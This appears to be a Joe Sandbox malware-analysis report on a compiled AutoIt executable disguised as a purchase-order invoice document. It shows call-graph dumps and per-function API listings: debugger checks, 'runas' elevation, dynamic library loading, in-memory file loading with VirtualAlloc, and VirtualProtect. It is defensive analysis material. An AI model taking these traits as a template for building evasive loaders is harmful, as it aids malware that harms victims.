86359 430dc9 86359->86359 86360->86356 86362 40b429 86361->86362 86364 430ae9 VariantClear 86361->86364 86365 40b476 ctype 86361->86365 86371 40b43b ctype 86362->86371 86573 40e380 VariantClear ctype 86362->86573 86363 40b4eb 86363->86372 86574 40e380 VariantClear ctype 86363->86574 86364->86371 86365->86363 86366 430d08 ctype 86365->86366 86367 430d41 VariantClear 86366->86367 86366->86372 86367->86372 86369 41171a 75 API calls 86369->86365 86371->86365 86371->86369 86372->86356 86575 45e62e 116 API calls 3 library calls 86372->86575 86374 409386 86373->86374 86378 409395 86373->86378 86576 4042f0 75 API calls __cinit 86374->86576 86377 42fba9 86580 45e62e 116 API calls 3 library calls 86377->86580 86378->86377 86380 42fc07 86378->86380 86381 42fc85 86378->86381 86385 42fd4f 86378->86385 86386 42fcd8 86378->86386 86393 42fd39 86378->86393 86394 40946f 86378->86394 86395 4094c1 86378->86395 86398 40947b 86378->86398 86402 4092c0 VariantClear 86378->86402 86405 409484 ctype 86378->86405 86579 453155 75 API calls 86378->86579 86581 40c620 118 API calls 86378->86581 86583 45e62e 116 API calls 3 library calls 86378->86583 86582 45e62e 116 API calls 3 library calls 86380->86582 86584 4781ae 140 API calls 86381->86584 86387 4092c0 VariantClear 86385->86387 86586 47f2b4 174 API calls 86386->86586 86387->86405 86389 42fc9c 86389->86405 86585 45e62e 116 API calls 3 library calls 86389->86585 86391 42fce9 86391->86405 86587 45e62e 116 API calls 3 library calls 86391->86587 86588 45e62e 116 API calls 3 library calls 86393->86588 86577 409210 VariantClear 86394->86577 86395->86405 86578 404260 76 API calls 86395->86578 86400 4092c0 VariantClear 86398->86400 86400->86405 86402->86378 86403 4094e1 86404 4092c0 VariantClear 86403->86404 86404->86405 86405->86344 86589 409110 117 API calls 86406->86589 86408 42ceb6 86600 410ae0 VariantClear ctype 86408->86600 86410 42cebf 86411 42cea9 86599 45e62e 116 API calls 3 library calls 86411->86599 86413 40906e 86413->86408 86413->86411 86414 4090a4 86413->86414 86590 404160 86414->86590 86417 4090f0 ctype 86417->86344 86418 4092c0 VariantClear 86419 4090be ctype 86418->86419 86419->86417 86419->86418 86421 4292e3 86420->86421 86422 40d30c 86420->86422 86423 429323 86421->86423 86424 4292fd TranslateAcceleratorW 86421->86424 86422->86344 86423->86344 86424->86422 86426 4296d0 86425->86426 86429 40d32f 86425->86429 86426->86344 86427 40d33c 86427->86344 86428 42972a IsDialogMessageW 86428->86427 86428->86429 86429->86427 86429->86428 86741 4340ec GetClassLongW 86429->86741 86432 409a66 _wcslen 86431->86432 86433 41171a 75 API calls 86432->86433 86492 40aade _memcpy_s ctype 86432->86492 86434 409a9c _memcpy_s 86433->86434 86436 41171a 75 API calls 86434->86436 86435 401380 75 API calls 86437 42cee9 86435->86437 86438 409abd 86436->86438 86440 41171a 75 API calls 86437->86440 86439 409aeb CharUpperBuffW 86438->86439 86443 409b09 ctype 86438->86443 86438->86492 86439->86443 86448 42cf10 _memcpy_s 86440->86448 86476 409b88 ctype 86443->86476 86743 47d10e 150 API calls 86443->86743 86444 4092c0 VariantClear 86445 42e5e0 86444->86445 86773 410ae0 VariantClear ctype 86445->86773 86447 42e5f2 86772 45e62e 116 API calls 3 library calls 86448->86772 86449 409e4a 86449->86448 86452 41171a 75 API calls 86449->86452 86456 409ea4 86449->86456 86450 40aa5b 86453 41171a 75 API calls 86450->86453 86451 41171a 75 API calls 86451->86476 86452->86456 86468 40aa81 _memcpy_s ctype 86453->86468 86454 409ed0 86458 42d50d 86454->86458 86513 409ef8 _memcpy_s ctype 86454->86513 86752 40b800 VariantClear VariantClear ctype 86454->86752 86455 40c3e0 75 API calls 86455->86476 86456->86454 86457 41171a 75 API calls 86456->86457 86459 42d480 86457->86459 86463 42d527 86458->86463 86753 40b800 VariantClear VariantClear ctype 86458->86753 86462 42d491 86459->86462 86748 44b3f6 75 API calls 86459->86748 86460 42d195 VariantClear 86460->86476 86749 40df50 75 API calls 86462->86749 86463->86513 86754 40e2e0 VariantClear ctype 86463->86754 86465 40a415 86470 41171a 75 API calls 86465->86470 86466 4092c0 VariantClear 86466->86476 86475 41171a 75 API calls 86468->86475 86487 40a41c 86470->86487 86475->86492 86476->86448 86476->86449 86476->86450 86476->86451 86476->86455 86476->86460 86476->86466 86476->86468 86481 42d128 86476->86481 86484 42d20c 86476->86484 86490 42dbb9 86476->86490 86744 40c620 118 API calls 86476->86744 86746 40be00 75 API calls 2 library calls 86476->86746 86747 40e380 VariantClear ctype 86476->86747 86477 42d4a6 86750 4530b3 75 API calls 86477->86750 86479 42db96 86759 45e62e 116 API calls 3 library calls 86479->86759 86483 4092c0 VariantClear 86481->86483 86482 42d4d7 86751 4530b3 75 API calls 86482->86751 86489 42d131 86483->86489 86484->86344 86501 40a481 86487->86501 86760 40c8a0 VariantClear ctype 86487->86760 86745 410ae0 VariantClear ctype 86489->86745 86490->86444 86492->86435 86494 41171a 75 API calls 86494->86513 86495 44b3f6 75 API calls 86495->86513 86497 40aa22 ctype 86497->86344 86498 4092c0 VariantClear 86506 40a534 _memcpy_s ctype 86498->86506 86499 411421 74 API calls __cinit 86499->86513 86500 402cc0 75 API calls 86500->86513 86503 40a4ed 86501->86503 86504 42dc1e VariantClear 86501->86504 86501->86506 86502 40a053 86502->86344 86509 40a4ff ctype 86503->86509 86761 40e380 VariantClear ctype 86503->86761 86504->86509 86506->86498 86514 42deb6 VariantClear 86506->86514 86515 40a73c 86506->86515 86516 42e237 86506->86516 86519 42df47 VariantClear 86506->86519 86520 42dfe9 VariantClear 86506->86520 86523 40e380 VariantClear 86506->86523 86529 41171a 75 API calls 86506->86529 86533 41171a 75 API calls 86506->86533 86762 46e9cd 75 API calls 86506->86762 86763 409210 VariantClear 86506->86763 86764 44cc6c VariantClear ctype 86506->86764 86508 41171a 75 API calls 86508->86506 86509->86506 86509->86508 86510 4019e0 76 API calls 86510->86513 86513->86479 86513->86492 86513->86494 86513->86495 86513->86499 86513->86500 86513->86502 86513->86510 86517 40a3a7 86513->86517 86518 42db5c 86513->86518 86755 45ee98 75 API calls 86513->86755 86756 404260 76 API calls 86513->86756 86757 409210 VariantClear 86513->86757 86514->86506 86515->86516 86524 40a76b 86515->86524 86765 46e709 VariantClear VariantClear ctype 86516->86765 86517->86465 86517->86518 86758 4721e5 VariantClear 86518->86758 86519->86506 86520->86506 86522 40a7a2 86535 40a7ad ctype 86522->86535 86766 40b800 VariantClear VariantClear ctype 86522->86766 86523->86506 86524->86522 86548 40a800 ctype 86524->86548 86742 40b800 VariantClear VariantClear ctype 86524->86742 86527 40a8b0 86542 40a8c2 ctype 86527->86542 86768 40e380 VariantClear ctype 86527->86768 86528 42e312 86530 42e337 VariantClear 86528->86530 86528->86542 86531 42dd10 VariantInit VariantCopy 86529->86531 86530->86542 86531->86506 86537 42dd30 VariantClear 86531->86537 86532 42e3b2 86541 42e3da VariantClear 86532->86541 86545 40a91a ctype 86532->86545 86533->86506 86536 40a7ee 86535->86536 86539 42e2a7 VariantClear 86535->86539 86535->86548 86536->86548 86767 40e380 VariantClear ctype 86536->86767 86537->86506 86538 40a908 86538->86545 86769 40e380 VariantClear ctype 86538->86769 86539->86548 86541->86545 86542->86532 86542->86538 86543 42e47f 86549 42e4a3 VariantClear 86543->86549 86553 40a957 ctype 86543->86553 86545->86543 86547 40a945 86545->86547 86547->86553 86770 40e380 VariantClear ctype 86547->86770 86548->86527 86548->86528 86549->86553 86551 42e559 VariantClear 86551->86553 86553->86497 86553->86551 86771 40e380 VariantClear ctype 86553->86771 86554->86310 86555->86341 86556->86341 86557->86341 86558->86341 86559->86341 86560->86341 86562 40412e 86561->86562 86563 4092c0 VariantClear 86562->86563 86564 404138 86563->86564 86564->86335 86565->86341 86566->86341 86567->86344 86568->86309 86569->86344 86570->86344 86571->86352 86572->86355 86573->86371 86574->86372 86575->86359 86576->86378 86577->86398 86578->86403 86579->86378 86580->86405 86581->86378 86582->86405 86583->86378 86584->86389 86585->86405 86586->86391 86587->86405 86588->86385 86589->86413 86591 4092c0 VariantClear 86590->86591 86592 40416e 86591->86592 86593 404120 VariantClear 86592->86593 86594 40419b 86593->86594 86601 4734b7 86594->86601 86645 40efe0 86594->86645 86653 40e8f0 86594->86653 86595 4041c6 86595->86408 86595->86419 86599->86408 86600->86410 86602 453063 111 API calls 86601->86602 86603 4734d7 86602->86603 86604 473545 86603->86604 86605 47350c 86603->86605 86659 463c42 86604->86659 86607 4092c0 VariantClear 86605->86607 86612 473514 86607->86612 86608 473558 86609 47355c 86608->86609 86616 473595 86608->86616 86610 4092c0 VariantClear 86609->86610 86621 473564 86610->86621 86611 473616 86672 463d7e 86611->86672 86612->86595 86614 453063 111 API calls 86614->86616 86615 473622 86617 473697 86615->86617 86618 47362c 86615->86618 86616->86611 86616->86614 86625 473655 86616->86625 86718 462f5a 87 API calls __wcsicoll 86616->86718 86706 457838 86617->86706 86622 4092c0 VariantClear 86618->86622 86621->86595 86624 473634 86622->86624 86624->86595 86627 4092c0 VariantClear 86625->86627 86639 47365d 86627->86639 86629 4736b0 86719 45e62e 116 API calls 3 library calls 86629->86719 86630 4736c9 86720 40e7e0 76 API calls 86630->86720 86633 4736db 86643 4736ff 86633->86643 86721 40d030 76 API calls 86633->86721 86634 4736ba GetCurrentProcess TerminateProcess 86634->86630 86636 473731 86641 473744 FreeLibrary 86636->86641 86642 47374b 86636->86642 86637 4736f1 86722 46b945 134 API calls 2 library calls 86637->86722 86639->86595 86641->86642 86642->86595 86643->86636 86723 40d030 76 API calls 86643->86723 86724 46b945 134 API calls 2 library calls 86643->86724 86646 40eff5 CreateFileW 86645->86646 86647 4299bf 86645->86647 86648 40f017 86646->86648 86647->86648 86649 4299c4 CreateFileW 86647->86649 86648->86595 86649->86648 86650 4299ea 86649->86650 86740 40e0d0 SetFilePointerEx SetFilePointerEx 86650->86740 86652 4299f5 86652->86648 86654 40e8f9 86653->86654 86658 40e908 86653->86658 86655 4092c0 VariantClear 86654->86655 86656 40e8fe 86655->86656 86657 41171a 75 API calls 86656->86657 86657->86658 86658->86595 86725 45335b 76 API calls 86659->86725 86661 463c5d 86726 442c52 80 API calls _wcslen 86661->86726 86663 463c72 86665 40c060 75 API calls 86663->86665 86671 463cac 86663->86671 86666 463c8e 86665->86666 86727 4608ce 75 API calls _memcpy_s 86666->86727 86668 463ca4 86670 40c740 75 API calls 86668->86670 86669 463cf7 86669->86608 86670->86671 86671->86669 86728 462f5a 87 API calls __wcsicoll 86671->86728 86673 453063 111 API calls 86672->86673 86674 463d99 86673->86674 86675 463de0 86674->86675 86676 463dca 86674->86676 86730 40c760 78 API calls 86675->86730 86729 453081 111 API calls 86676->86729 86679 463dd0 LoadLibraryW 86681 463e09 86679->86681 86680 463de7 86693 463e19 86680->86693 86731 40c760 78 API calls 86680->86731 86682 463e3e 86681->86682 86681->86693 86685 463e4e 86682->86685 86686 463e7b 86682->86686 86684 463dfb 86684->86693 86732 40c760 78 API calls 86684->86732 86733 40d500 75 API calls 86685->86733 86735 40c760 78 API calls 86686->86735 86690 463e82 GetProcAddress 86695 463e90 86690->86695 86691 463e57 86734 45efe7 77 API calls ctype 86691->86734 86693->86615 86694 463e62 GetProcAddress 86697 463e79 86694->86697 86695->86693 86696 463edf 86695->86696 86695->86697 86696->86693 86699 463eef FreeLibrary 86696->86699 86697->86695 86736 403470 75 API calls _memcpy_s 86697->86736 86699->86693 86700 463eb4 86737 40d500 75 API calls 86700->86737 86702 463ebd 86738 45efe7 77 API calls ctype 86702->86738 86704 463ec8 GetProcAddress 86739 401330 ctype 86704->86739 86707 457a4c 86706->86707 86713 45785f _strcat _wcslen _wcscpy ctype 86706->86713 86714 410d40 86707->86714 86708 443576 78 API calls 86708->86713 86709 40c760 78 API calls 86709->86713 86710 4138ba 67 API calls _malloc 86710->86713 86711 453081 111 API calls 86711->86713 86712 40f580 77 API calls 86712->86713 86713->86707 86713->86708 86713->86709 86713->86710 86713->86711 86713->86712 86715 410d55 86714->86715 86716 410ded VirtualProtect 86715->86716 86717 410dbb 86715->86717 86716->86717 86717->86629 86717->86630 86718->86616 86719->86634 86720->86633 86721->86637 86722->86643 86723->86643 86724->86643 86725->86661 86726->86663 86727->86668 86728->86669 86729->86679 86730->86680 86731->86684 86732->86681 86733->86691 86734->86694 86735->86690 86736->86700 86737->86702 86738->86704 86739->86696 86740->86652 86741->86429 86742->86522 86743->86443 86744->86476 86745->86497 86746->86476 86747->86476 86748->86462 86749->86477 86750->86482 86751->86454 86752->86458 86753->86463 86754->86513 86755->86513 86756->86513 86757->86513 86758->86479 86759->86490 86760->86487 86761->86509 86762->86506 86763->86506 86764->86506 86765->86522 86766->86535 86767->86548 86768->86542 86769->86545 86770->86553 86771->86553 86772->86490 86773->86447 86774 42919b 86779 40ef10 86774->86779 86777 411421 __cinit 74 API calls 86778 4291aa 86777->86778 86780 41171a 75 API calls 86779->86780 86781 40ef17 86780->86781 86782 42ad48 86781->86782 86787 40ef40 74 API calls __cinit 86781->86787 86784 40ef2a 86788 40e470 86784->86788 86787->86784 86789 40c060 75 API calls 86788->86789 86790 40e483 GetVersionExW 86789->86790 86791 4021e0 75 API calls 86790->86791 86792 40e4bb 86791->86792 86814 40e600 86792->86814 86798 42accc 86800 42ad28 GetSystemInfo 86798->86800 86803 42ad38 GetSystemInfo 86800->86803 86801 40e557 GetCurrentProcess 86834 40ee30 LoadLibraryA GetProcAddress 86801->86834 86802 40e56c 86802->86803 86827 40eee0 86802->86827 86807 40e5c9 86831 40eea0 86807->86831 86810 40e5e0 86812 40e5f1 FreeLibrary 86810->86812 86813 40e5f4 86810->86813 86811 40e5dd FreeLibrary 86811->86810 86812->86813 86813->86777 86815 40e60b 86814->86815 86816 40c740 75 API calls 86815->86816 86817 40e4c2 86816->86817 86818 40e620 86817->86818 86819 40e62a 86818->86819 86820 42ac93 86819->86820 86821 40c740 75 API calls 86819->86821 86822 40e4ce 86821->86822 86822->86798 86823 40ee70 86822->86823 86824 40e551 86823->86824 86825 40ee76 LoadLibraryA 86823->86825 86824->86801 86824->86802 86825->86824 86826 40ee87 GetProcAddress 86825->86826 86826->86824 86828 40e5bf 86827->86828 86829 40eee6 LoadLibraryA 86827->86829 86828->86800 86828->86807 86829->86828 86830 40eef7 GetProcAddress 86829->86830 86830->86828 86835 40eec0 LoadLibraryA GetProcAddress 86831->86835 86833 40e5d3 GetNativeSystemInfo 86833->86810 86833->86811 86834->86802 86835->86833 86836 42e89e 86843 40c000 86836->86843 86838 42e8ac 86839 409a40 165 API calls 86838->86839 86840 42e8ca 86839->86840 86854 44b92e VariantClear 86840->86854 86842 42f3ae 86844 40c014 86843->86844 86845 40c007 86843->86845 86847 40c01a 86844->86847 86848 40c02c 86844->86848 86855 409210 VariantClear 86845->86855 86856 409210 VariantClear 86847->86856 86851 41171a 75 API calls 86848->86851 86849 40c00f 86849->86838 86853 40c033 86851->86853 86852 40c023 86852->86838 86853->86838 86854->86842 86855->86849 86856->86852 86857 4059bf8 86858 4057848 GetPEB 86857->86858 86859 4059c9d 86858->86859 86871 4059ae8 86859->86871 86861 4059cc6 CreateFileW 86863 4059d15 86861->86863 86864 4059d1a 86861->86864 86864->86863 86865 4059d31 VirtualAlloc 86864->86865 86865->86863 86866 4059d4f ReadFile 86865->86866 86866->86863 86867 4059d6a 86866->86867 86868 4058ae8 13 API calls 86867->86868 86869 4059d9d 86868->86869 86870 4059dc0 ExitProcess 86869->86870 86870->86863 86872 4059af1 Sleep 86871->86872 86873 4059aff 86872->86873

                                                                                            Executed Functions

                                                                                            Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcslen.LIBCMT ref: 00409A61
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID: 0vH$4RH
                                                                                            • API String ID: 1143807570-2085553193
                                                                                            • Opcode ID: 46287a7bb28814e7acc9e24331a329a483cab8fdfa0313037193f1b97064f243
                                                                                            • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                            • Opcode Fuzzy Hash: 46287a7bb28814e7acc9e24331a329a483cab8fdfa0313037193f1b97064f243
                                                                                            • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                            Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                              • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                              • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                            • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                            • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                              • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                            • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,00000004), ref: 0040D7D6
                                                                                            • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                            • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,00000004), ref: 00431B0E
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,00000004), ref: 00431B3F
                                                                                            • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                            • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                              • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                              • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                              • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                              • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                              • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                              • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                              • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                              • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                              • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                              • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                              • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                              • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                              • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                            • String ID: @GH$@GH$C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                            • API String ID: 2493088469-1972608576
                                                                                            • Opcode ID: 1a0ed8742bd98226e3ba0f055742ccaca08136dd93b2b863f89549b94dfb798c
                                                                                            • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                            • Opcode Fuzzy Hash: 1a0ed8742bd98226e3ba0f055742ccaca08136dd93b2b863f89549b94dfb798c
                                                                                            • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                                            Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1254 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 1263 40e506-40e509 1254->1263 1264 42accc-42acd1 1254->1264 1267 40e540-40e555 call 40ee70 1263->1267 1268 40e50b-40e51c 1263->1268 1265 42acd3-42acdb 1264->1265 1266 42acdd-42ace0 1264->1266 1269 42ad12-42ad20 1265->1269 1270 42ace2-42aceb 1266->1270 1271 42aced-42acf0 1266->1271 1285 40e557-40e573 GetCurrentProcess call 40ee30 1267->1285 1286 40e579-40e5a8 1267->1286 1272 40e522-40e525 1268->1272 1273 42ac9b-42aca7 1268->1273 1284 42ad28-42ad2d GetSystemInfo 1269->1284 1270->1269 1271->1269 1275 42acf2-42ad06 1271->1275 1272->1267 1276 40e527-40e537 1272->1276 1278 42acb2-42acba 1273->1278 1279 42aca9-42acad 1273->1279 1280 42ad08-42ad0c 1275->1280 1281 42ad0e 1275->1281 1282 42acbf-42acc7 1276->1282 1283 40e53d 1276->1283 1278->1267 1279->1267 1280->1269 1281->1269 1282->1267 1283->1267 1287 42ad38-42ad3d GetSystemInfo 1284->1287 1285->1286 1295 40e575 1285->1295 1286->1287 1288 40e5ae-40e5c3 call 40eee0 1286->1288 1288->1284 1294 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 1288->1294 1298 40e5e0-40e5ef 1294->1298 1299 40e5dd-40e5de FreeLibrary 1294->1299 1295->1286 1300 40e5f1-40e5f2 FreeLibrary 1298->1300 1301 40e5f4-40e5ff 1298->1301 1299->1298 1300->1301
                                                                                            APIs
                                                                                            • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                            • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                            • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                            • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                            • String ID: pMH
                                                                                            • API String ID: 2923339712-2522892712
                                                                                            • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                            • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                            • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                            • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                            Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                            • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: IsThemeActive$uxtheme.dll
                                                                                            • API String ID: 2574300362-3542929980
                                                                                            • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                            • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                            • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                            • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                            Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                            • __wsplitpath.LIBCMT ref: 00410C61
                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                            • _wcsncat.LIBCMT ref: 00410C78
                                                                                            • __wmakepath.LIBCMT ref: 00410C94
                                                                                              • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
